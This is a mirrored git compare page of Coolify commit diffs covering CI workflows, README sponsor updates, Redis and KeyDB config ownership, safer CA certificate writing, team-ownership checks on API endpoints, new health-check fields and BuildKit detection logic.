mirror of
https://github.com/coollabsio/coolify.git
synced 2026-03-11 08:55:47 +00:00
Compare commits
77 commits
297ab10173
...
19b74f74d9
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
19b74f74d9 | ||
|
|
6b2a669cb9 | ||
|
|
ce6859648a | ||
|
|
2b7e2ebafb | ||
|
|
78aea9a7ec | ||
|
|
5a2547c879 | ||
|
|
9ec45bcf56 | ||
|
|
c93296e9a6 | ||
|
|
f3b63b4d8d | ||
|
|
3e755338b4 | ||
|
|
b88f9fca67 | ||
|
|
3eb9426b95 | ||
|
|
fe36b70680 | ||
|
|
521d995ea1 | ||
|
|
12f8f80eb1 | ||
|
|
8e2f0836da | ||
|
|
57848c25e9 | ||
|
|
992b922df3 | ||
|
|
0580af0d34 | ||
|
|
609cb4190e | ||
|
|
24abd51238 | ||
|
|
1759a1631c | ||
|
|
65d4005493 | ||
|
|
03a8621516 | ||
|
|
30c0b37689 | ||
|
|
036f565785 | ||
|
|
cb759b2846 | ||
|
|
d8419fad93 | ||
|
|
279322d50f | ||
|
|
f39a1da7be | ||
|
|
448e922e6c | ||
|
|
78e584a136 | ||
|
|
912e5f6db2 | ||
|
|
f8de374f77 | ||
|
|
2986d7604e | ||
|
|
b36d67288b | ||
|
|
021605dbf0 | ||
|
|
ec14b55f0a | ||
|
|
2310ad5f7f | ||
|
|
6cacd2f0ff | ||
|
|
46923f7e77 | ||
|
|
620da191b1 | ||
|
|
d71d91d63e | ||
|
|
1f3fca5f71 | ||
|
|
76a6960f44 | ||
|
|
f68d60a373 | ||
|
|
b7b0dfeddd | ||
|
|
133241bac1 | ||
|
|
61a54afe2b | ||
|
|
58acdccfc9 | ||
|
|
bf51ed905f | ||
|
|
c30d94f089 | ||
|
|
cb0f5cc812 | ||
|
|
ffb408f214 | ||
|
|
0c8b9b75f4 | ||
|
|
d51b26c047 | ||
|
|
16e85e27e8 | ||
|
|
ba3994bc5c | ||
|
|
73170fdd33 | ||
|
|
76d3709163 | ||
|
|
c1951726c0 | ||
|
|
04283a03a0 | ||
|
|
35a6110252 | ||
|
|
098d3d4c25 | ||
|
|
362fc770f1 | ||
|
|
dea025510b | ||
|
|
b673789e9d | ||
|
|
ea3f4b927d | ||
|
|
ddf91a2a63 | ||
|
|
548dc51517 | ||
|
|
23914746d0 | ||
|
|
33d5879160 | ||
|
|
362b43a806 | ||
|
|
1ef6351701 | ||
|
|
342e8e765d | ||
|
|
3b026f7f69 | ||
|
|
22ce45fb84 |
89 changed files with 3147 additions and 604 deletions
|
|
@ -1,86 +0,0 @@
|
|||
name: Remove Labels and Assignees on Issue Close
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [closed]
|
||||
pull_request:
|
||||
types: [closed]
|
||||
pull_request_target:
|
||||
types: [closed]
|
||||
|
||||
permissions:
|
||||
issues: write
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
remove-labels-and-assignees:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Remove labels and assignees
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
script: |
|
||||
const { owner, repo } = context.repo;
|
||||
|
||||
async function processIssue(issueNumber, isFromPR = false, prBaseBranch = null) {
|
||||
try {
|
||||
if (isFromPR && prBaseBranch !== 'v4.x') {
|
||||
return;
|
||||
}
|
||||
|
||||
const { data: currentLabels } = await github.rest.issues.listLabelsOnIssue({
|
||||
owner,
|
||||
repo,
|
||||
issue_number: issueNumber
|
||||
});
|
||||
|
||||
const labelsToKeep = currentLabels
|
||||
.filter(label => label.name === '⏱︎ Stale')
|
||||
.map(label => label.name);
|
||||
|
||||
await github.rest.issues.setLabels({
|
||||
owner,
|
||||
repo,
|
||||
issue_number: issueNumber,
|
||||
labels: labelsToKeep
|
||||
});
|
||||
|
||||
const { data: issue } = await github.rest.issues.get({
|
||||
owner,
|
||||
repo,
|
||||
issue_number: issueNumber
|
||||
});
|
||||
|
||||
if (issue.assignees && issue.assignees.length > 0) {
|
||||
await github.rest.issues.removeAssignees({
|
||||
owner,
|
||||
repo,
|
||||
issue_number: issueNumber,
|
||||
assignees: issue.assignees.map(assignee => assignee.login)
|
||||
});
|
||||
}
|
||||
} catch (error) {
|
||||
if (error.status !== 404) {
|
||||
console.error(`Error processing issue ${issueNumber}:`, error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (context.eventName === 'issues') {
|
||||
await processIssue(context.payload.issue.number);
|
||||
}
|
||||
|
||||
if (context.eventName === 'pull_request' || context.eventName === 'pull_request_target') {
|
||||
const pr = context.payload.pull_request;
|
||||
await processIssue(pr.number);
|
||||
if (pr.merged && pr.base.ref === 'v4.x' && pr.body) {
|
||||
const issueReferences = pr.body.match(/#(\d+)/g);
|
||||
if (issueReferences) {
|
||||
for (const reference of issueReferences) {
|
||||
const issueNumber = parseInt(reference.substring(1));
|
||||
await processIssue(issueNumber, true, pr.base.ref);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -8,6 +8,7 @@ on:
|
|||
- .github/workflows/coolify-helper-next.yml
|
||||
- .github/workflows/coolify-realtime.yml
|
||||
- .github/workflows/coolify-realtime-next.yml
|
||||
- .github/workflows/pr-quality.yaml
|
||||
- docker/coolify-helper/Dockerfile
|
||||
- docker/coolify-realtime/Dockerfile
|
||||
- docker/testing-host/Dockerfile
|
||||
|
|
|
|||
1
.github/workflows/coolify-staging-build.yml
vendored
1
.github/workflows/coolify-staging-build.yml
vendored
|
|
@ -11,6 +11,7 @@ on:
|
|||
- .github/workflows/coolify-helper-next.yml
|
||||
- .github/workflows/coolify-realtime.yml
|
||||
- .github/workflows/coolify-realtime-next.yml
|
||||
- .github/workflows/pr-quality.yaml
|
||||
- docker/coolify-helper/Dockerfile
|
||||
- docker/coolify-realtime/Dockerfile
|
||||
- docker/testing-host/Dockerfile
|
||||
|
|
|
|||
6
.github/workflows/generate-changelog.yml
vendored
6
.github/workflows/generate-changelog.yml
vendored
|
|
@ -3,6 +3,12 @@ name: Generate Changelog
|
|||
on:
|
||||
push:
|
||||
branches: [ v4.x ]
|
||||
paths-ignore:
|
||||
- .github/workflows/coolify-helper.yml
|
||||
- .github/workflows/coolify-helper-next.yml
|
||||
- .github/workflows/coolify-realtime.yml
|
||||
- .github/workflows/coolify-realtime-next.yml
|
||||
- .github/workflows/pr-quality.yaml
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
|
|
|
|||
96
.github/workflows/pr-quality.yaml
vendored
Normal file
96
.github/workflows/pr-quality.yaml
vendored
Normal file
|
|
@ -0,0 +1,96 @@
|
|||
name: PR Quality
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
issues: read
|
||||
pull-requests: write
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [opened, reopened]
|
||||
|
||||
jobs:
|
||||
pr-quality:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: peakoss/anti-slop@v0
|
||||
with:
|
||||
# General Settings
|
||||
max-failures: 3
|
||||
|
||||
# PR Branch Checks
|
||||
allowed-target-branches: "next"
|
||||
blocked-target-branches: ""
|
||||
allowed-source-branches: ""
|
||||
blocked-source-branches: |
|
||||
main
|
||||
master
|
||||
v4.x
|
||||
next
|
||||
|
||||
# PR Quality Checks
|
||||
max-negative-reactions: 0
|
||||
require-maintainer-can-modify: true
|
||||
|
||||
# PR Title Checks
|
||||
require-conventional-title: true
|
||||
|
||||
# PR Description Checks
|
||||
require-description: true
|
||||
max-description-length: 0
|
||||
max-emoji-count: 2
|
||||
require-pr-template: true
|
||||
require-linked-issue: false
|
||||
blocked-terms: "STRAWBERRY"
|
||||
blocked-issue-numbers: 8154
|
||||
|
||||
# Commit Message Checks
|
||||
require-conventional-commits: false
|
||||
blocked-commit-authors: "claude,copilot"
|
||||
|
||||
# File Checks
|
||||
allowed-file-extensions: ""
|
||||
allowed-paths: ""
|
||||
blocked-paths: |
|
||||
README.md
|
||||
SECURITY.md
|
||||
LICENSE
|
||||
CODE_OF_CONDUCT.md
|
||||
templates/service-templates-latest.json
|
||||
templates/service-templates.json
|
||||
require-final-newline: true
|
||||
|
||||
# User Health Checks
|
||||
min-repo-merged-prs: 0
|
||||
min-repo-merge-ratio: 0
|
||||
min-global-merge-ratio: 30
|
||||
global-merge-ratio-exclude-own: false
|
||||
min-account-age: 10
|
||||
|
||||
# Exemptions
|
||||
exempt-author-association: "OWNER,MEMBER,COLLABORATOR"
|
||||
exempt-users: ""
|
||||
exempt-bots: |
|
||||
actions-user
|
||||
dependabot[bot]
|
||||
renovate[bot]
|
||||
github-actions[bot]
|
||||
exempt-draft-prs: false
|
||||
exempt-label: "quality/exempt"
|
||||
exempt-pr-label: ""
|
||||
exempt-milestones: ""
|
||||
exempt-pr-milestones: ""
|
||||
exempt-all-milestones: false
|
||||
exempt-all-pr-milestones: false
|
||||
|
||||
# PR Success Actions
|
||||
success-add-pr-labels: "quality/verified"
|
||||
|
||||
# PR Failure Actions
|
||||
close-pr: true
|
||||
lock-pr: false
|
||||
delete-branch: false
|
||||
failure-pr-message: "This PR did not pass quality checks so it will be closed. If you believe this is a mistake please let us know."
|
||||
failure-remove-pr-labels: ""
|
||||
failure-remove-all-pr-labels: true
|
||||
failure-add-pr-labels: "quality/rejected"
|
||||
|
|
@ -55,6 +55,10 @@ To stay completely free and open-source, with no feature behind the paywall and
|
|||
|
||||
Thank you so much!
|
||||
|
||||
### Huge Sponsors
|
||||
|
||||
* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API
|
||||
|
||||
### Big Sponsors
|
||||
|
||||
* [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions!
|
||||
|
|
@ -70,9 +74,10 @@ Thank you so much!
|
|||
* [CompAI](https://www.trycomp.ai?ref=coolify.io) - Open source compliance automation platform
|
||||
* [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers
|
||||
* [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy
|
||||
* [Dade2](https://dade2.net/?ref=coolify.io) - IT Consulting, Cloud Solutions & System Integration
|
||||
* [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design
|
||||
* [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform
|
||||
* [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions
|
||||
* [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer
|
||||
* [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions
|
||||
* [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions
|
||||
* [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers
|
||||
|
|
@ -80,6 +85,7 @@ Thank you so much!
|
|||
* [LiquidWeb](https://liquidweb.com?ref=coolify.io) - Premium managed hosting solutions
|
||||
* [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers
|
||||
* [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity
|
||||
* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality
|
||||
* [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity
|
||||
* [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang
|
||||
* [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting
|
||||
|
|
@ -126,7 +132,6 @@ Thank you so much!
|
|||
<a href="https://www.runpod.io/?utm_source=coolify.io"><img width="60px" alt="RunPod" src="https://coolify.io/images/runpod.svg"/></a>
|
||||
<a href="https://dartnode.com/?utm_source=coolify.io"><img width="60px" alt="DartNode" src="https://github.com/dartnode.png"/></a>
|
||||
<a href="https://github.com/whitesidest"><img width="60px" alt="Tyler Whitesides" src="https://avatars.githubusercontent.com/u/12365916?s=52&v=4"/></a>
|
||||
<a href="https://serpapi.com/?utm_source=coolify.io"><img width="60px" alt="SerpAPI" src="https://github.com/serpapi.png"/></a>
|
||||
<a href="https://aquarela.io"><img width="60px" alt="Aquarela" src="https://github.com/aquarela-io.png"/></a>
|
||||
<a href="https://cryptojobslist.com/?utm_source=coolify.io"><img width="60px" alt="Crypto Jobs List" src="https://github.com/cryptojobslist.png"/></a>
|
||||
<a href="https://www.youtube.com/@AlfredNutile?utm_source=coolify.io"><img width="60px" alt="Alfred Nutile" src="https://github.com/alnutile.png"/></a>
|
||||
|
|
|
|||
|
|
@ -207,6 +207,9 @@ class StartKeydb
|
|||
if ($this->database->enable_ssl) {
|
||||
$this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt";
|
||||
}
|
||||
if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) {
|
||||
$this->commands[] = "chown 999:999 $this->configuration_dir/keydb.conf";
|
||||
}
|
||||
$this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true";
|
||||
$this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
|
||||
$this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
|
||||
|
|
|
|||
|
|
@ -204,6 +204,9 @@ class StartRedis
|
|||
if ($this->database->enable_ssl) {
|
||||
$this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt";
|
||||
}
|
||||
if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) {
|
||||
$this->commands[] = "chown 999:999 $this->configuration_dir/redis.conf";
|
||||
}
|
||||
$this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true";
|
||||
$this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
|
||||
$this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
|
||||
|
|
|
|||
|
|
@ -30,12 +30,14 @@ class InstallDocker
|
|||
);
|
||||
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
|
||||
|
||||
$base64Cert = base64_encode($serverCert->ssl_certificate);
|
||||
|
||||
$commands = collect([
|
||||
"mkdir -p $caCertPath",
|
||||
"chown -R 9999:root $caCertPath",
|
||||
"chmod -R 700 $caCertPath",
|
||||
"rm -rf $caCertPath/coolify-ca.crt",
|
||||
"echo '{$serverCert->ssl_certificate}' > $caCertPath/coolify-ca.crt",
|
||||
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
|
||||
"chmod 644 $caCertPath/coolify-ca.crt",
|
||||
]);
|
||||
remote_process($commands, $server);
|
||||
|
|
|
|||
|
|
@ -40,7 +40,7 @@ class Kernel extends ConsoleKernel
|
|||
}
|
||||
|
||||
// $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly();
|
||||
$this->scheduleInstance->command('cleanup:redis')->weekly();
|
||||
$this->scheduleInstance->command('cleanup:redis --clear-locks')->daily();
|
||||
|
||||
if (isDev()) {
|
||||
// Instance Jobs
|
||||
|
|
|
|||
|
|
@ -1002,7 +1002,7 @@ class ApplicationsController extends Controller
|
|||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'name' => 'string|max:255',
|
||||
|
|
@ -1101,7 +1101,6 @@ class ApplicationsController extends Controller
|
|||
'git_branch' => ['string', 'required', new ValidGitBranch],
|
||||
'build_pack' => ['required', Rule::enum(BuildPackTypes::class)],
|
||||
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required',
|
||||
'docker_compose_location' => 'string',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
'docker_compose_domains.*' => 'array:name,domain',
|
||||
'docker_compose_domains.*.name' => 'string|required',
|
||||
|
|
@ -1297,7 +1296,6 @@ class ApplicationsController extends Controller
|
|||
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required',
|
||||
'github_app_uuid' => 'string|required',
|
||||
'watch_paths' => 'string|nullable',
|
||||
'docker_compose_location' => 'string',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
'docker_compose_domains.*' => 'array:name,domain',
|
||||
'docker_compose_domains.*.name' => 'string|required',
|
||||
|
|
@ -1525,7 +1523,6 @@ class ApplicationsController extends Controller
|
|||
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required',
|
||||
'private_key_uuid' => 'string|required',
|
||||
'watch_paths' => 'string|nullable',
|
||||
'docker_compose_location' => 'string',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
'docker_compose_domains.*' => 'array:name,domain',
|
||||
'docker_compose_domains.*.name' => 'string|required',
|
||||
|
|
@ -2463,14 +2460,13 @@ class ApplicationsController extends Controller
|
|||
$this->authorize('update', $application);
|
||||
|
||||
$server = $application->destination->server;
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||
|
||||
$validationRules = [
|
||||
'name' => 'string|max:255',
|
||||
'description' => 'string|nullable',
|
||||
'static_image' => 'string',
|
||||
'watch_paths' => 'string|nullable',
|
||||
'docker_compose_location' => 'string',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
'docker_compose_domains.*' => 'array:name,domain',
|
||||
'docker_compose_domains.*.name' => 'string|required',
|
||||
|
|
|
|||
|
|
@ -127,6 +127,10 @@ class DeployController extends Controller
|
|||
if (! $deployment) {
|
||||
return response()->json(['message' => 'Deployment not found.'], 404);
|
||||
}
|
||||
$application = $deployment->application;
|
||||
if (! $application || data_get($application->team(), 'id') !== $teamId) {
|
||||
return response()->json(['message' => 'Deployment not found.'], 404);
|
||||
}
|
||||
|
||||
return response()->json($this->removeSensitiveData($deployment));
|
||||
}
|
||||
|
|
|
|||
|
|
@ -290,9 +290,12 @@ class ServersController extends Controller
|
|||
}
|
||||
$uuid = $request->get('uuid');
|
||||
if ($uuid) {
|
||||
$domains = Application::getDomainsByUuid($uuid);
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first();
|
||||
if (! $application) {
|
||||
return response()->json(['message' => 'Application not found.'], 404);
|
||||
}
|
||||
|
||||
return response()->json(serializeApiResponse($domains));
|
||||
return response()->json(serializeApiResponse($application->fqdns));
|
||||
}
|
||||
$projects = Project::where('team_id', $teamId)->get();
|
||||
$domains = collect();
|
||||
|
|
|
|||
|
|
@ -25,7 +25,7 @@ class CheckForcePasswordReset
|
|||
}
|
||||
$force_password_reset = auth()->user()->force_password_reset;
|
||||
if ($force_password_reset) {
|
||||
if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'livewire/update' || $request->path() === 'logout') {
|
||||
if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'two-factor-challenge' || $request->path() === 'livewire/update' || $request->path() === 'logout') {
|
||||
return $next($request);
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -171,6 +171,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
|
||||
private bool $dockerBuildkitSupported = false;
|
||||
|
||||
private bool $dockerSecretsSupported = false;
|
||||
|
||||
private bool $skip_build = false;
|
||||
|
||||
private Collection|string $build_secrets;
|
||||
|
|
@ -251,7 +253,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
}
|
||||
if ($this->application->build_pack === 'dockerfile') {
|
||||
if (data_get($this->application, 'dockerfile_location')) {
|
||||
$this->dockerfile_location = $this->application->dockerfile_location;
|
||||
$this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -381,13 +383,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
|
||||
private function detectBuildKitCapabilities(): void
|
||||
{
|
||||
// If build secrets are not enabled, skip detection and use traditional args
|
||||
if (! $this->application->settings->use_build_secrets) {
|
||||
$this->dockerBuildkitSupported = false;
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$serverToCheck = $this->use_build_server ? $this->build_server : $this->server;
|
||||
$serverName = $this->use_build_server ? "build server ({$serverToCheck->name})" : "deployment server ({$serverToCheck->name})";
|
||||
|
||||
|
|
@ -403,53 +398,55 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
|
||||
if ($majorVersion < 18 || ($majorVersion == 18 && $minorVersion < 9)) {
|
||||
$this->dockerBuildkitSupported = false;
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+). Build secrets feature disabled.");
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+).");
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$buildkitEnabled = instant_remote_process(
|
||||
// Check buildx availability (always installed by Coolify on Docker 24.0+)
|
||||
$buildxAvailable = instant_remote_process(
|
||||
["docker buildx version >/dev/null 2>&1 && echo 'available' || echo 'not-available'"],
|
||||
$serverToCheck
|
||||
);
|
||||
|
||||
if (trim($buildkitEnabled) !== 'available') {
|
||||
if (trim($buildxAvailable) === 'available') {
|
||||
$this->dockerBuildkitSupported = true;
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}.");
|
||||
} else {
|
||||
// Fallback: test DOCKER_BUILDKIT=1 support via --progress flag
|
||||
$buildkitTest = instant_remote_process(
|
||||
["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"],
|
||||
["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q '\\-\\-progress' && echo 'supported' || echo 'not-supported'"],
|
||||
$serverToCheck
|
||||
);
|
||||
|
||||
if (trim($buildkitTest) === 'supported') {
|
||||
$this->dockerBuildkitSupported = true;
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit secrets support detected on {$serverName}.");
|
||||
$this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.');
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit support detected on {$serverName}.");
|
||||
} else {
|
||||
$this->dockerBuildkitSupported = false;
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not have BuildKit secrets support.");
|
||||
$this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.');
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit. Build output progress will be limited.");
|
||||
}
|
||||
} else {
|
||||
// Buildx is available, which means BuildKit is available
|
||||
// Now specifically test for secrets support
|
||||
}
|
||||
|
||||
// If build secrets are enabled and BuildKit is available, verify --secret flag support
|
||||
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported) {
|
||||
$secretsTest = instant_remote_process(
|
||||
["docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"],
|
||||
$serverToCheck
|
||||
);
|
||||
|
||||
if (trim($secretsTest) === 'supported') {
|
||||
$this->dockerBuildkitSupported = true;
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}.");
|
||||
$this->dockerSecretsSupported = true;
|
||||
$this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.');
|
||||
} else {
|
||||
$this->dockerBuildkitSupported = false;
|
||||
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with Buildx on {$serverName}, but secrets not supported.");
|
||||
